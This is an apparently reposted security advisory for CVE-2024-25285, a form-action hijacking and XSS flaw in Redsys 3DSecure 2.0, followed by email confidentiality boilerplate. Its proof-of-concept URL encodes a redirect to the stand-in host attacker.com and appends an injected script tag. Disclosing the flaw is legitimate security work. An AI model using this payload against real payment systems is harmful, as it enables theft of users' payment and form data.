3DSecure 2.0 3DS Method Authentication Cross Site Scripting exploit

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## https://sploitus.com/exploit?id=PACKETSTORM:181495 Product: 3DSecure 2.0 Manufacturer: Redsys Affected Version(s): 3DSecure 2.0 3DS Method Authentication Tested Version(s): 3DSecure 2.0 3DS Method Authentication Vulnerability Type: Cross-Site Scripting (XSS) Risk Level: Medium Solution Status: Not yet fixed Manufacturer Notification: 2024-01-17 Solution Date: N/A Public Disclosure: 2024-09-17 CVE Reference: CVE-2024-25285 Overview: 3DSecure 2.0 is vulnerable to form action hijacking via the threeDSMethodNotificationURL parameter. This flaw allows attackers to change the destination website for form submissions, enabling data theft. Vulnerability Details: The threeDSMethodNotificationURL parameter is vulnerable to modification, allowing attackers to redirect form submissions to malicious destinations. Proof of Concept (PoC): By modifying the threeDSMethodNotificationURL parameter in a POST request, an attacker can change the form's action URL. Example: https://sis-d.redsys.es/sis-simulador-web/threeDsMethod.jsp?threeDSMethodData=eyJ0aHJlZURTTWV0aG9kTm90aWZpY2F0aW9uVVJMIjoiaHR0cHM6Ly9hdHRhY2tlci5jb20iLCJ0aHJlZURTU2VydmVyVHJhbnNJRCI6IjM5NDA4Mzk2LTdjY2MtNGU4YS04NjU2LThmMTZlNmNlMDQ5OCJ9%3d%3dld4ga%22%3e%3cscript%3ealert(1)%3c%2fscript%3epsoojei88ze Solution: No solution is currently available. Redsys has been notified. References: OWASP Web Security Testing Guide: Form Action Hijacking Discoverer: Reported by Rubén López Herrera ________________________________ Este mensaje y sus adjuntos se dirigen exclusivamente a su destinatario, puede contener información privilegiada o confidencial y es para uso exclusivo de la persona o entidad de destino. Si no es usted. el destinatario indicado, queda notificado de que la lectura, utilización, divulgación y/o copia sin autorización puede estar prohibida en virtud de la legislación vigente. Si ha recibido este mensaje por error, le rogamos que nos lo comunique inmediatamente por esta misma vía y proceda a su destrucción. The information contained in this transmission is confidential and privileged information intended only for the use of the individual or entity named above. If the reader of this message is not the intended recipient, you are hereby notified that any dissemination, distribution or copying of this communication is strictly prohibited. If you have received this transmission in error, do not read it. Please immediately reply to the sender that you have received this communication in error and then delete it. Esta mensagem e seus anexos se dirigem exclusivamente ao seu destinatário, pode conter informação privilegiada ou confidencial e é para uso exclusivo da pessoa ou entidade de destino. Se não é vossa senhoria o destinatário indicado, fica notificado de que a leitura, utilização, divulgação e/ou cópia sem autorização pode estar proibida em virtude da legislação vigente. Se recebeu esta mensagem por erro, rogamos-lhe que nos o comunique imediatamente por esta mesma via e proceda a sua destruição